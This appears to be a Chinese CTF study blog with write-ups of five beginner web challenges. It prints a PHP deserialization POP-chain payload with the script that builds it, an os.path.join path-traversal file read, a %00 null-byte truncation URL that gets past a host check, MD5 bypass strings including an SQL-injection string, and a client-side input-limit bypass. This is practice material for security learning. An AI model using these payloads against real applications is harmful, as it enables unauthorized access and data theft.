目录
[SWPUCTF 2021 新生赛]pop
[NISACTF 2022]babyupload
编辑[GKCTF 2020]cve版签到
[SWP5UCTF 2022 新生赛]奇妙的MD5
[HNCTF 2022 Week1]easy_html
今日总结:
[SWPUCTF 2021 新生赛]pop
1.代码审计
<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}
//这是一个名为 w44m 的类。它有两个属性:$admin 和 $passwd,分别被初始化为 'aaa' 和 '123456'。它还有一个公共方法 Getflag,该方法检查 $admin 和 $passwd 是否与特定的值匹配。如果匹配,则包含并输出 flag.php 文件中的 $flag 变量的值。如果不匹配,则输出 $admin、$passwd 和 'nono'。
class w22m{public $w00m;public function __destruct(){echo $this->w00m;}
}
//这是一个名为 w22m 的类,它有一个公共属性 $w00m。当该类的实例被销毁时(例如,在脚本结束时或当不再有对该实例的引用时),__destruct 魔术方法会被调用,并输出 $w00m 的值。
class w33m{public $w00m;public $w22m;public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}
//这是一个名为 w33m 的类,它有两个公共属性:$w00m 和 $w22m。当该类的实例被当作字符串使用时(例如,在字符串连接中),__toString 魔术方法会被调用。该方法尝试调用 $w00m 对象上的 $w22m 方法。如果 $w00m 是一个对象,并且该对象有一个名为 $w22m 的方法,那么这个方法就会被执行
$w00m = $_GET['w00m'];
unserialize($w00m);//这部分代码首先从 GET 请求中获取 w00m 参数的值,并尝试对其进行反序列化。反序列化是将已存储的表示形式或字节流转换回 PHP 值的过程。?>
2.分析php代码
题目要求GET传入w00m,并进行反序列化操作
- w44m类:
如果变量前是protected,则会在变量名前加上
\x00*\x00
,若是private,则会在变量名前加上
\x00类名\x00
,输出时一般需要url编码
- w22m类:
当类销毁时会输出
$this->w00m
- w33m类:
当w33m类的对象被当做字符串使用时,触发__toString()方法
3.该题目中涉及到的魔术方法有两个toString和destruct,构造pop链的关键是紧盯魔术方法,找到pop链的头部和尾部,可以看到GET方式传参w00m,也就是pop链的头部,然后就是尾部,尾部就是能够达到恶意攻击的地方,在上述的题目中,清晰可见:w44m类中存在着一个方法GETflag方法,便可输出最终的flag,因此这也是我们的pop链的尾部。
如何调用w44m类中Getflag方法?
在w33m类中tostring方法,可以调用某一个类中的某一个方法。
因此可以给w33m类中的两个变量w00m=w44m类名,w22m=Getflag方法
如何调用w33m类呢?
destruct在对象被销毁时调用,所以给w22m类中的变量w00m一个类w33m就可以调用
综上,POP链:
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
4.在线php构造序列化字符串如下:
<?php
class w44m{private $admin = 'w44m';protected $passwd = '08067';}
class w22m{public $w00m;}
class w33m{public $w00m;public $w22m;}
$a=new w22m;
$a->w00m= new w33m;
$a->w00m->w00m= new w44m;
$a->w00m->w22m= "Getflag";
var_dump(serialize($a));
?>
资料:PHP类中public、protected、private的区别 PHP类中public、protected、private实例代码_李涛自留地-李涛生活目录和编程学习网络笔记本
5.其中未显示的是空格,即\x00,因为有私有属性,所以进行url编码
6.构造之后,得到flag
payload:?w00m=O%3A4%3A"w22m"%3A1%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A{s%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00*%00passwd"%3Bs%3A5%3A"08067"%3B}s%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B}}
[NISACTF 2022]babyupload
1.查看源代码,发现可疑文件
2.访问之后得到一个压缩包,解压之后得到以下内容
3. 打开txt文件,发现以下内容,但是访问之后没有什么
对另一个文件进行代码审计:
发现这串代码用来用于处理文件上传和下载, def upload()处理文件上传。如果文件名包含
.(后缀)
,则拒绝上传(这可能是为了防止某些类型的文件上传,但这种方法不是很安全)。否则,将文件保存到uploads/
目录,并将文件信息保存到数据库中。def file()根据提供的id
,从数据库中查询文件路径,然后读取文件内容并返回。
4.这里涉及到os.path.join()
的绝对路径拼接漏洞:
绝对路径拼接漏洞:
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
os.path.join()函数:
第一个以”/”开头的参数开始拼接,之前的参数全部丢弃,当有多个时,从最后一个开始资料:Python中os.path.join函数的用法示例详解_python_脚本之家
5.利用函数的特性,使用/flag,直接跳转到最后一个文件读取flag文件
[GKCTF 2020]cve版签到
1.进入页面,发现没有什么,所以抓包看看,发现hint
2.起初的页面说You just view *.ctfhub.com,说我们url请求必须包含.ctfhub.com,所以这里想到%00截断
%00截断原理:截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。
3.看到Tips: Host must be end with '123',主机位必须以123结尾,所以继续构造,得到flag
?url=http://127.0.0.123%00www.ctfhub.com
[SWP5UCTF 2022 新生赛]奇妙的MD5
1.进入页面,提示有一串奇妙的字符串,又是关于MD5的,猜测是一个是 MD5 加密后弱比较等于自身,这个字符串是 0e215962017 :另一个是 MD5 加密后变成万能密码,这个字符串是 ffifdyop。
2.尝试ffifdyop,跳转到以下页面
3.查看源代码
4.绕过md5的弱比较,得到一个文件,访问这个文件
5. 根据要求使用数组来绕过md5的强比较,得到flag
[HNCTF 2022 Week1]easy_html
1.打开页面,发现关键信息“饼干”,翻译过来就是cookie,想到使用抓包,发现"Set-Cookie: flagisin=.%2Ff14g.php",其中%2F是/的url编码
2.所以访问这个文件,得到以下页面
3.经过尝试发现只能输入十位,但正常情况手机号是十一位,所以想到修改前端的代码,再次输入十一位的号码,得到flag
今日总结:
1.学习了php反序列化的pop链
2.了解了os.path.join()
的绝对路径拼接漏洞
3.修改主机位时,当主机位必须以123结尾,如:127.0.0.1修改为127.0.0.123
4.关于MD5的奇妙的字符串